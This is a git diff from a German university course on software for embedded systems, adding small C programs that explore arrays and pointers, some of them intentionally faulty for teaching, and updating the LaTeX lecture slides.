+++ b/20170413/arrays-pointers-004.c
@@ -0,0 +1,16 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+  printf ("%c\n", **p);
+  p++;
+  printf ("%c\n", **p);
+  (*a)++;
+  printf ("%c\n", **p);
+  (*a)++;
+  printf ("%c\n", **p);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-005.c b/20170413/arrays-pointers-005.c
new file mode 100644
index 0000000000000000000000000000000000000000..61b3e9c7d85fc7d0ec55a011d0e07ac3c3e6b13a
--- /dev/null
+++ b/20170413/arrays-pointers-005.c
@@ -0,0 +1,16 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+  printf ("%c\n", **p);
+  p++;
+  printf ("%c\n", **p);
+  (*a)++;
+  printf ("%c\n", *a);
+  (*a)++;
+  printf ("%c\n", *a);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-006.c b/20170413/arrays-pointers-006.c
new file mode 100644
index 0000000000000000000000000000000000000000..d34880a5d4034e45e175caace61f470d0ed65d10
--- /dev/null
+++ b/20170413/arrays-pointers-006.c
@@ -0,0 +1,16 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+  printf ("%c\n", **p);
+  p++;
+  printf ("%c\n", **p);
+  (*a)++;
+  printf ("%c\n", **a);
+  (*a)++;
+  printf ("%c\n", **a);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-007.c b/20170413/arrays-pointers-007.c
new file mode 100644
index 0000000000000000000000000000000000000000..76aeb36363cfde3d60b2ee60e4a0ac8ff3864684
--- /dev/null
+++ b/20170413/arrays-pointers-007.c
@@ -0,0 +1,16 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+  printf ("%c\n", **p);
+  p++;
+  printf ("%c\n", **p);
+  (*a) += 5;
+  printf ("%c\n", **a);
+  (*a)++;
+  printf ("%c\n", **a);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-008.c b/20170413/arrays-pointers-008.c
new file mode 100644
index 0000000000000000000000000000000000000000..2d1c07e80fb05f3d30ea6f13bd56297299b5826a
--- /dev/null
+++ b/20170413/arrays-pointers-008.c
@@ -0,0 +1,16 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+  printf ("%c\n", **p);
+  p++;
+  printf ("%c\n", **p);
+  char *q = *p;
+  printf ("%c\n", *q);
+  q++;
+  printf ("%c\n", *q);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-009.c b/20170413/arrays-pointers-009.c
new file mode 100644
index 0000000000000000000000000000000000000000..e94de275c1732b0e169d4b050f0d59e71b6ddefa
--- /dev/null
+++ b/20170413/arrays-pointers-009.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+  printf ("%c\n", *(*(p + 2) + 2));
+  printf ("%c\n", *(p[2] + 2));
+  printf ("%c\n", p[2][2]);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-01.c b/20170413/arrays-pointers-01.c
new file mode 100644
index 0000000000000000000000000000000000000000..e7324ea51274c3f235e032e699928b26f390cab8
--- /dev/null
+++ b/20170413/arrays-pointers-01.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+  for (int i = 0; i < 4; i++)
+    printf ("%s\n", p++);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-02.c b/20170413/arrays-pointers-02.c
new file mode 100644
index 0000000000000000000000000000000000000000..22bba7be43cfbbf6ee580e92bc58340b9566163c
--- /dev/null
+++ b/20170413/arrays-pointers-02.c
@@ -0,0 +1,15 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+  for (int i = 0; i < 4; i++)
+  {
+    char *q = p++;
+    printf ("%s\n", q);
+  }
+  return 0;
+}
diff --git a/20170413/arrays-pointers-03.c b/20170413/arrays-pointers-03.c
new file mode 100644
index 0000000000000000000000000000000000000000..14b503a4656a3979790232b133ff0bfcee937b6e
--- /dev/null
+++ b/20170413/arrays-pointers-03.c
@@ -0,0 +1,15 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+  for (int i = 0; i < 4; i++)
+  {
+    char *q = (char *) p++;
+    printf ("%s\n", q);
+  }
+  return 0;
+}
diff --git a/20170413/arrays-pointers-04.c b/20170413/arrays-pointers-04.c
new file mode 100644
index 0000000000000000000000000000000000000000..7c64dac5f1411c3f7abeaea3fddfc17cf16f1c4e
--- /dev/null
+++ b/20170413/arrays-pointers-04.c
@@ -0,0 +1,17 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+  for (int i = 0; i < 4; i++)
+  {
+    for (int j = 0; *p[j]; j++)
+      printf ("%c", *p[j]);
+    printf ("\n");
+    p++;
+  }
+  return 0;
+}
diff --git a/20170413/arrays-pointers-05.c b/20170413/arrays-pointers-05.c
new file mode 100644
index 0000000000000000000000000000000000000000..925614681b2a4c2194b2831cdbff0e62e2aa9c27
--- /dev/null
+++ b/20170413/arrays-pointers-05.c
@@ -0,0 +1,17 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+  for (int i = 0; i < 4; i++)
+  {
+    for (int j = 0; (*p)[j]; j++)
+      printf ("%c", (*p)[j]);
+    printf ("\n");
+    p++;
+  }
+  return 0;
+}
diff --git a/20170413/arrays-pointers-06.c b/20170413/arrays-pointers-06.c
new file mode 100644
index 0000000000000000000000000000000000000000..15a73a318fca50d5959433795cb0560a32997bd6
--- /dev/null
+++ b/20170413/arrays-pointers-06.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+  for (int i = 0; i < 4; i++)
+    printf ("%s\n", (*p++)[0]);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-07.c b/20170413/arrays-pointers-07.c
new file mode 100644
index 0000000000000000000000000000000000000000..742c1be1baf3783edc88b02495c85a608f9f69fb
--- /dev/null
+++ b/20170413/arrays-pointers-07.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+  for (int i = 0; i < 4; i++)
+    printf ("%s\n", &((*p++)[0]));
+  return 0;
+}
diff --git a/20170413/arrays-pointers-08.c b/20170413/arrays-pointers-08.c
new file mode 100644
index 0000000000000000000000000000000000000000..22065d76a50044ceafe31b008fe23920a965b916
--- /dev/null
+++ b/20170413/arrays-pointers-08.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+  for (int i = 0; i < 4; i++)
+    printf ("%s\n", (*p++));
+  return 0;
+}
diff --git a/20170413/arrays-pointers-09.c b/20170413/arrays-pointers-09.c
new file mode 100644
index 0000000000000000000000000000000000000000..812a3ab2ab84c124a54a1fee356aafc568fe6e1c
--- /dev/null
+++ b/20170413/arrays-pointers-09.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+  for (int i = 0; i < 4; i++)
+    printf ("%s\n", *p++);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-10.c b/20170413/arrays-pointers-10.c
new file mode 100644
index 0000000000000000000000000000000000000000..58fc72d9b074a25fab7b17dfec04656276c1ab1e
--- /dev/null
+++ b/20170413/arrays-pointers-10.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+  for (int i = 0; i < 4; i++)
+    printf ("%s\n", **p++);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-11.c b/20170413/arrays-pointers-11.c
new file mode 100644
index 0000000000000000000000000000000000000000..18a273182a1aebd05deaff9db16c037fbfff6af8
--- /dev/null
+++ b/20170413/arrays-pointers-11.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test" };
+string5 *p = a;
+
+int main (void)
+{
+  for (int i = 0; i < 4; i++)
+    printf ("%c\n", **p++);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-12.c b/20170413/arrays-pointers-12.c
new file mode 100644
index 0000000000000000000000000000000000000000..d3273342d5abab32597f3e63905fd83c81af8c6d
--- /dev/null
+++ b/20170413/arrays-pointers-12.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test", NULL };
+string5 *p = a;
+
+int main (void)
+{
+  while (*p)
+    printf ("%s\n", *p++);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-13.c b/20170413/arrays-pointers-13.c
new file mode 100644
index 0000000000000000000000000000000000000000..16ec2f1e12d2632edc95f07129f55b6c64600da4
--- /dev/null
+++ b/20170413/arrays-pointers-13.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test", "" };
+string5 *p = a;
+
+int main (void)
+{
+  while (**p)
+    printf ("%s\n", *p++);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-14.c b/20170413/arrays-pointers-14.c
new file mode 100644
index 0000000000000000000000000000000000000000..3a25af0c496ad2049807d8d5e26430f269de500e
--- /dev/null
+++ b/20170413/arrays-pointers-14.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test", 0 };
+string5 *p = a;
+
+int main (void)
+{
+  while (**p)
+    printf ("%s\n", *p++);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-15.c b/20170413/arrays-pointers-15.c
new file mode 100644
index 0000000000000000000000000000000000000000..eb58cb82e85819fc63e0e3867a57acb4c3edc181
--- /dev/null
+++ b/20170413/arrays-pointers-15.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test", { 0 } };
+string5 *p = a;
+
+int main (void)
+{
+  while (**p)
+    printf ("%s\n", *p++);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-16.c b/20170413/arrays-pointers-16.c
new file mode 100644
index 0000000000000000000000000000000000000000..1f540a9a3cadaf9aa17cd214f7e848ef065585cd
--- /dev/null
+++ b/20170413/arrays-pointers-16.c
@@ -0,0 +1,14 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test", "",
+                "Was", "ist", "das?", "",
+                "Ein", "Test", { 0 } };
+string5 *p = a;
+
+int main (void)
+{
+  while (**p)
+    printf ("%s\n", *p++);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-17.c b/20170413/arrays-pointers-17.c
new file mode 100644
index 0000000000000000000000000000000000000000..9a906947674f3331a8e07a347fe4bdb8443b63a6
--- /dev/null
+++ b/20170413/arrays-pointers-17.c
@@ -0,0 +1,14 @@
+#include <stdio.h>
+
+typedef char string5[5];
+string5 a[] = { "Dies", "ist", "ein", "Test", " ",
+                "Was", "ist", "das?", " ",
+                "Ein", "Test", { 0 } };
+string5 *p = a;
+
+int main (void)
+{
+  while (**p)
+    printf ("%s\n", *p++);
+  return 0;
+}
diff --git a/20170413/bla.zip b/20170413/bla.zip
new file mode 100644
index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391
diff --git a/20161006/csa2.jpg b/20170413/csa2.jpg
similarity index 100%
rename from 20161006/csa2.jpg
rename to 20170413/csa2.jpg
diff --git a/20161006/es-20161006.pdf b/20170413/es-20170413.pdf
similarity index 81%
rename from 20161006/es-20161006.pdf
rename to 20170413/es-20170413.pdf
index 9cb11f8c6aa0965c6afbb583b4d5db046a18bed0..977b9a46631c4aa51954828d50b54e8eb2d3c234 100644
Binary files a/20161006/es-20161006.pdf and b/20170413/es-20170413.pdf differ
diff --git a/20161006/es-20161006.tex b/20170413/es-20170413.tex
similarity index 85%
rename from 20161006/es-20161006.tex
rename to 20170413/es-20170413.tex
index 872611709f15f6741a3025c185609ce6573732e1..955daeee9ea5486389bcf67c25ff67f7a2d12dc3 100644
--- a/20161006/es-20161006.tex
+++ b/20170413/es-20170413.tex
@@ -1,5 +1,5 @@
-% es-20161006.pdf - Lecture Slides on Software Development for Embedded Systems
-% Copyright (C) 2013, 2014, 2015, 2016  Peter Gerwinski
+% es-20170413.pdf - Lecture Slides on Software Development for Embedded Systems
+% Copyright (C) 2013, 2014, 2015, 2016, 2017  Peter Gerwinski
 %
 % This document is free software: you can redistribute it and/or
 % modify it either under the terms of the Creative Commons
@@ -25,15 +25,9 @@
 \usepackage{pgslides}
 \usepackage{rotating}
 
-\newcommand{\underconstruction}{%
-  \begin{picture}(0,0)
-    \put(9,0.3){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}}
-    \put(9,0.0){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}}
-  \end{picture}}
-
 \title{Software-Entwicklung für eingebettete Systeme}
-\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{6.\ Oktober 2016}
+\author{Prof.\ Dr.\ Peter Gerwinski}
+\date{13.\ April 2017}
 
 \newcommand{\ItwoC}{I\raisebox{0.5ex}{\footnotesize 2}C}
 
@@ -45,9 +39,8 @@
 
   \vspace*{8cm}
   \begin{picture}(0,0)
-%    \put(12.3,8.0){\makebox(0,0)[tr]{\LARGE\bf\color{gray}\shortstack[r]{%
-%      {\normalsize Software-Entwicklung für}\\[0.5ex]
-    \put(12.3,8.0){\makebox(0,0)[tr]{\Huge\bf\color{gray}\shortstack[r]{%
+    \put(12.3,8.0){\makebox(0,0)[tr]{\LARGE\bf\color{gray}\shortstack[r]{%
+      {\normalsize Software-Entwicklung für}\\[0.5ex]
       Eingebettete\\Systeme\\[2ex]
       \includegraphics[width=4.3cm]{logo-hochschule-bochum.pdf}}}}
     %\put(9.5,5.05) % zum Vergleich
@@ -68,103 +61,71 @@
 
 \end{frame}
 
+\sectionnonumber{Inhalt}
+
+\begin{frame}
+  \showsectionnonumber
+  \begin{enumerate}
+    \bf
+    \item Was sind eingebettete Systeme?
+    \item Arrays und Pointer für Fortgeschrittene
+    \item Einführung in Unix
+    \item TCP/IP-Netzwerke in der Praxis
+    \item Bus-Systeme
+  \end{enumerate}
+  \dots\ und \emph{viel\/} praktisches Arbeiten!
+
+\end{frame}
+
 \section{Was sind eingebettete Systeme?}
 
 \begin{frame}
 
   \showsection
 
-  \emph{Der Ausdruck \textbf{\newterm{eingebettetes System\/}} (\dots\,) bezeichnet
-        einen elektronischen Rechner oder auch Computer,
-        der in einen technischen Kontext eingebunden (eingebettet) ist.}
-  \vspace*{-0.5cm}
-  \begin{flushright}
-    \url{https://de.wikipedia.org/wiki/Eingebettetes_System}
-  \end{flushright}
+  \begin{quote}
+    Der Ausdruck \textbf{eingebettetes System}
+    (auch englisch \textbf{\textit{embedded system\/}})
+    bezeichnet einen elektronischen Rechner oder auch Computer,
+    der in einen technischen Kontext eingebunden (eingebettet) ist.\\
+    \strut\hfill Wikipedia
+  \end{quote}
 
-  \begin{itemize}
-    \pause
-    \item
-      \emph{keine\/} Aussage über die Größe
-    \pause
-    \item
-      in der Praxis: so klein wie möglich\only<5->{, z.\,B.:}\\[\smallskipamount]
-      \only<4>{\vspace*{-3.3cm}\hspace*{0.7cm}\includegraphics[height=8cm]{csa2.jpg}\hspace*{-1cm}\vspace*{-8cm}}
-    \pause
-    \pause
-      \begin{itemize}
-        \item
-          mehrere Rechnerschränke
-        \item
-          Industrie-PC
-        \item
-          Einplatinencomputer
-        \item
-          Mikro-Controller
-      \end{itemize}
-    \pause
-    \item
-      Bedienung über spezielle Ein-/Ausgabegeräte (z.\,B.\ Flugsimulator, Telefon)
-    \pause
-    \item
-      Wartung über speziellen Adminstrator-Zugang
-      \begin{itemize}
-        \item
-          Bus-Schnittstelle (RS-232, CAN-BUS)
-        \item
-          Netzwerk (TCP/IP, Ethernet oder WLAN)
-      \end{itemize}
-    \pause
-    \item
-      Programmierung oft außerhalb des Systems\\
-      (Cross-Entwicklungswerkzeuge)
-  \end{itemize}
-  \vspace*{-1cm}
+  \pause
 
-\end{frame}
+  \textarrow\ \emph{Keine\/} Aussage über die Größe.
 
-\sectionnonumber{In dieser Lehrveranstaltung}
+\end{frame}
 
 \begin{frame}
 
-  \showsectionnonumber
-  \vspace*{-\medskipamount}
+  \showsection
+
+%  \pause
   \begin{itemize}
     \item
-      Einführung in Unix
-    \item
-      TCP/IP und Bus-Systeme in der Praxis
-    \item
-      Web-Interfaces
-    \item
-      C-Programmierung für Fortgeschrittene
-    \item
-      Theorie und Praxis der Echtzeitprogrammierung
-    \item
-      Exkursion: TFC -- Simulatoren und Technik GmbH, Velbert-Nierenhof
-    \item
-      Prüfungsleistung: Projektaufgabe\\
+      Projektaufgabe:\\
       Eingebettetes System eigener Wahl zum Laufen bringen
+%    \pause
     \arrowitem
-      {\color{red}Projektaufgabe überlegen}
+      Projektaufgabe überlegen
   \end{itemize}
 
   \bigskip
 
-  \color{gray}
-  Weitere Ideen:
+%  \pause
+  Beispiele:
   \begin{itemize}
-    \item[\color{gray}$\bullet$]
-      \color{gray}
-      Einführung in die GUI-Programmierung
+    \item Rasenmährobotersteuerung
+    \item Weiterarbeit an Smartphone-Prototyp
+    \item Verbesserungen an Flugzeugkabinensimulatoren
+    \item Spülmaschinensteuerung
+    \item Sampler-Grabber für MIDI
+    \item \dots
   \end{itemize}
 
-  \underconstruction
-
 \end{frame}
 
-\clearpage\strut\clearpage
-
 \sectionnonumber{Aufgaben}
 
 \begin{frame}[c]
@@ -235,6 +196,55 @@
 
 \end{frame}
 
+\begin{frame}[fragile]
+  \showsection
+
+  \begin{minipage}[t]{6cm}
+    Array:
+    \smallskip
+    \begin{lstlisting}[gobble=6]
+      char a[] = "Test";
+    \end{lstlisting}
+  \end{minipage}\hfill
+  \begin{minipage}[t]{6cm}
+    Zeiger:
+    \smallskip
+    \begin{lstlisting}[gobble=6]
+      char *p = "Test";
+    \end{lstlisting}
+  \end{minipage}
+
+  \bigskip
+
+  \begin{itemize}
+    \item
+      In beiden Fällen wird ein Array von ganzen Zahlen\\
+      (5 \lstinline{char}-Variable mit den Werten 84, 101, 115, 116 und 0)\\
+      im Speicher angelegt.
+    \medskip
+    \item
+      Links heißt das Array \lstinline{a};
+      rechts ist es "`anonym"'.
+    \item
+      Rechts wird zusätzlich ein Zeiger \lstinline{p} im Speicher angelegt,\\
+      der auf das (anonyme) Array zeigt.
+    \medskip
+    \item
+      \lstinline{&a} ist {\color{red}fast} dasselbe wie \lstinline{a},\\
+      nämlich die Adresse des Arrays {\color{red}bzw.\ das Array selbst,\\
+      das zuweisungskompatibel zu einem Zeiger auf Elemente des Arrays ist.\\
+      \lstinline{&} bewirkt hier eine (nicht explizite!) Typumwandlung.}
+    \item
+      \lstinline{&p} ist die Adresse des Zeigers.
+    \item
+      \lstinline{p} ist der Wert des Zeigers,\\
+      momentan also die Adresse des (anonymen) Arrays.
+  \end{itemize}
+
+  \vspace*{-1cm}
+
+\end{frame}
+
 \begin{frame}[fragile]
   \showsection
 
@@ -302,7 +312,7 @@
     \thicklines
     \put(8.6,0.7){\line(1,0){0.85}}
     \put(9.05,0.4){\makebox(0,0)[t]{$\overbrace{\mbox{nur mit Trick:
-                   \lstinline|p += 5|}}$}}
+                   \lstinline{p += 5}}}$}}
   \end{picture}
 
 \end{frame}
@@ -354,6 +364,8 @@
       Schleife durch äußeres Array mit \lstinline{p++} möglich
   \end{itemize}
 
+  \pause
+
   \begin{picture}(0,0)(-2,-0.4)
     \color{red}
     \thicklines
@@ -388,6 +400,8 @@
 
 \end{frame}
 
+\iffalse
+
 \section{Bus-Systeme}
 
 \begin{frame}
@@ -626,51 +640,6 @@
 
 \end{frame}
 
-\begin{frame}[fragile]
-  \showsection
-
-  \begin{minipage}[t]{6cm}
-    Array:
-    \smallskip
-    \begin{lstlisting}[gobble=6]
-      char a[] = "Test";
-    \end{lstlisting}
-  \end{minipage}\hfill
-  \begin{minipage}[t]{6cm}
-    Zeiger:
-    \smallskip
-    \begin{lstlisting}[gobble=6]
-      char *p = "Test";
-    \end{lstlisting}
-  \end{minipage}
-
-  \bigskip
-
-  \begin{itemize}
-    \item
-      In beiden Fällen wird ein Array von ganzen Zahlen\\
-      (5 \lstinline{char}-Variable mit den Werten 84, 101, 115, 116 und 0)\\
-      im Speicher angelegt.
-    \medskip
-    \item
-      Links heißt das Array \lstinline{a};
-      rechts ist es "`anonym"'.
-    \item
-      Rechts wird zusätzlich ein Zeiger \lstinline{p} im Speicher angelegt,\\
-      der auf das (anonyme) Array zeigt.
-    \medskip
-    \item
-      \lstinline{&a} ist {\color{red}fast} dasselbe wie \lstinline{a},\\
-      nämlich die Adresse des Arrays {\color{red}bzw.\ das Array selbst,\\
-      das zuweisungskompatibel zu einem Zeiger auf Elemente des Arrays ist.\\
-      \lstinline{&} bewirkt hier eine (nicht explizite!) Typumwandlung.}
-    \item
-      \lstinline{&p} ist die Adresse des Zeigers.
-    \item
-      \lstinline{p} ist der Wert des Zeigers,\\
-      momentan also die Adresse des (anonymen) Arrays.
-  \end{itemize}
-
-\end{frame}
+\fi
 
 \end{document}
diff --git a/20161006/floppys.jpg b/20170413/floppys.jpg
similarity index 100%
rename from 20161006/floppys.jpg
rename to 20170413/floppys.jpg
diff --git a/20161006/hexapode.png b/20170413/hexapode.png
similarity index 100%
rename from 20161006/hexapode.png
rename to 20170413/hexapode.png
diff --git a/20161006/logo-hochschule-bochum-cvh-text.pdf b/20170413/logo-hochschule-bochum-cvh-text.pdf
similarity index 100%
rename from 20161006/logo-hochschule-bochum-cvh-text.pdf
rename to 20170413/logo-hochschule-bochum-cvh-text.pdf
diff --git a/20161006/logo-hochschule-bochum.pdf b/20170413/logo-hochschule-bochum.pdf
similarity index 100%
rename from 20161006/logo-hochschule-bochum.pdf
rename to 20170413/logo-hochschule-bochum.pdf
diff --git a/20161006/pgslides.sty b/20170413/pgslides.sty
similarity index 100%
rename from 20161006/pgslides.sty
rename to 20170413/pgslides.sty
diff --git a/20170413/photo-20170413-170448.jpg b/20170413/photo-20170413-170448.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..e5d7729c812217d587f85579b05a5e861888068e
Binary files /dev/null and b/20170413/photo-20170413-170448.jpg differ
diff --git a/20170413/unix-20170413.pdf b/20170413/unix-20170413.pdf
new file mode 100644
index 0000000000000000000000000000000000000000..d84d0adefeea93def07737897d9bff7cf26165bc
Binary files /dev/null and b/20170413/unix-20170413.pdf differ
diff --git a/20161006/unix-20161006.tex b/20170413/unix-20170413.tex
similarity index 99%
rename from 20161006/unix-20161006.tex
rename to 20170413/unix-20170413.tex
index e4953370c9614b22b778226f3798dabc39dc4ca1..1f836af6df3d3f99faec57d8e1ddd2776af483b1 100644
--- a/20161006/unix-20161006.tex
+++ b/20170413/unix-20170413.tex
@@ -1,5 +1,5 @@
 % unix-20161006.pdf - Lecture Slides on Unix Fundamentals
-% Copyright (C) 2013, 2015, 2016  Peter Gerwinski
+% Copyright (C) 2013, 2015, 2016, 2017  Peter Gerwinski
 %
 % This document is free software: you can redistribute it and/or
 % modify it either under the terms of the Creative Commons
@@ -40,7 +40,7 @@
 
 \title{Einführung in Unix}
 \author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{6.\ Oktober 2016}
+\date{13.\ April 2017}
 
 \begin{document}
 
diff --git a/20170420/arrays-0.c b/20170420/arrays-0.c
new file mode 100644
index 0000000000000000000000000000000000000000..c7979f25e040d43fc8d801068c21243114a3c7fe
--- /dev/null
+++ b/20170420/arrays-0.c
@@ -0,0 +1,9 @@
+#include <stdio.h>
+
+int main (void)
+{
+  char *p = "Test";
+  p = "Hallo";
+  printf ("%s\n", p);
+  return 0;
+}
diff --git a/20170420/arrays-1.c b/20170420/arrays-1.c
new file mode 100644
index 0000000000000000000000000000000000000000..dec221d5cd8cefd6ef600df4ac4ddaf5af8da4f0
--- /dev/null
+++ b/20170420/arrays-1.c
@@ -0,0 +1,9 @@
+#include <stdio.h>
+
+int main (void)
+{
+  char a[] = "Test";
+  a = "Hallo";
+  printf ("%s\n", a);
+  return 0;
+}
diff --git a/20170420/arrays-10.c b/20170420/arrays-10.c
new file mode 100644
index 0000000000000000000000000000000000000000..1ade63bd89f4723417ac68d27d3aa859ccc766e0
--- /dev/null
+++ b/20170420/arrays-10.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+#define LENGTH 5
+
+int main (void)
+{
+  char a[][LENGTH] = { "Dies", "ist", "ein", "Test" };
+  for (char *p = a[0]; p < a[4]; p += LENGTH)
+    printf ("%s\n", p);
+  return 0;
+}
diff --git a/20170420/arrays-11.c b/20170420/arrays-11.c
new file mode 100644
index 0000000000000000000000000000000000000000..9d7c6edd2eb3d39892e7598544170f40ef373f38
--- /dev/null
+++ b/20170420/arrays-11.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+typedef string5 = char[5];
+
+int main (void)
+{
+  string5 a[] = { "Dies", "ist", "ein", "Test" };
+  for (string5 *p = a[0]; p < a[4]; p++)
+    printf ("%s\n", p);
+  return 0;
+}
diff --git a/20170420/arrays-12.c b/20170420/arrays-12.c
new file mode 100644
index 0000000000000000000000000000000000000000..c1e2a184a9d30f7e4f8af7d0152d9fe3cc452de7
--- /dev/null
+++ b/20170420/arrays-12.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+typedef char string5[5];
+
+int main (void)
+{
+  string5 a[] = { "Dies", "ist", "ein", "Test" };
+  for (string5 *p = a[0]; p < a[4]; p++)
+    printf ("%s\n", p);
+  return 0;
+}
diff --git a/20170420/arrays-13.c b/20170420/arrays-13.c
new file mode 100644
index 0000000000000000000000000000000000000000..436360a1ab29522a86ce067bdba403d7922318a9
--- /dev/null
+++ b/20170420/arrays-13.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+typedef char string5[5];
+
+int main (void)
+{
+  string5 a[] = { "Dies", "ist", "ein", "Test" };
+  for (string5 *p = a; p < a + 4; p++)
+    printf ("%s\n", p);
+  return 0;
+}
diff --git a/20170420/arrays-14.c b/20170420/arrays-14.c
new file mode 100644
index 0000000000000000000000000000000000000000..1d3877ccf4a6845ba55b6e3bc923f75e9c2d2768
--- /dev/null
+++ b/20170420/arrays-14.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+typedef char string5[5];
+
+int main (void)
+{
+  string5 a[] = { "Dies", "ist", "ein", "Test" };
+  for (string5 *p = a; p < a + 4; p++)
+    printf ("%s\n", (char *) p);
+  return 0;
+}
diff --git a/20170420/arrays-15.c b/20170420/arrays-15.c
new file mode 100644
index 0000000000000000000000000000000000000000..cbb9cb2d154275952c293e5cc35a0daa248dcfc3
--- /dev/null
+++ b/20170420/arrays-15.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+typedef char string5[5];
+
+int main (void)
+{
+  string5 a[] = { "Dies", "ist", "ein", "Test" };
+  for (string5 *p = a; p < a + 4; p++)
+    printf ("%s\n", &p[0]);
+  return 0;
+}
diff --git a/20170420/arrays-16.c b/20170420/arrays-16.c
new file mode 100644
index 0000000000000000000000000000000000000000..527024c2457e2a68ebf2a37e4bf1d584f04e205a
--- /dev/null
+++ b/20170420/arrays-16.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+typedef char string5[5];
+
+int main (void)
+{
+  string5 a[] = { "Dies", "ist", "ein", "Test" };
+  for (string5 *p = a; p < a + 4; p++)
+    printf ("%s\n", *p);
+  return 0;
+}
diff --git a/20170420/arrays-2.c b/20170420/arrays-2.c
new file mode 100644
index 0000000000000000000000000000000000000000..2bedab39c6c40bfbae464371f2ebb1ced3f3f966
--- /dev/null
+++ b/20170420/arrays-2.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+int main (void)
+{
+  char a[] = "Test";
+  char *p = a;
+  printf ("%s\n", p);
+  p = "Hallo";
+  printf ("%s\n", p);
+  return 0;
+}
diff --git a/20170420/arrays-3.c b/20170420/arrays-3.c
new file mode 100644
index 0000000000000000000000000000000000000000..addd80905052c1ea29534c4f8c0b85fd8c39d9e7
--- /dev/null
+++ b/20170420/arrays-3.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+int main (void)
+{
+  char a[] = "Test";
+  char *p = &a;
+  printf ("%s\n", p);
+  p = "Hallo";
+  printf ("%s\n", p);
+  return 0;
+}
diff --git a/20161020/arrays-10.c b/20170420/arrays-4.c
similarity index 99%
rename from 20161020/arrays-10.c
rename to 20170420/arrays-4.c
index e474b148c64040bd98b81f4e1290858baa0a27f6..58ab7633e55d9c34a0a2bcd52502a7b4bf58f2d0 100644
--- a/20161020/arrays-10.c
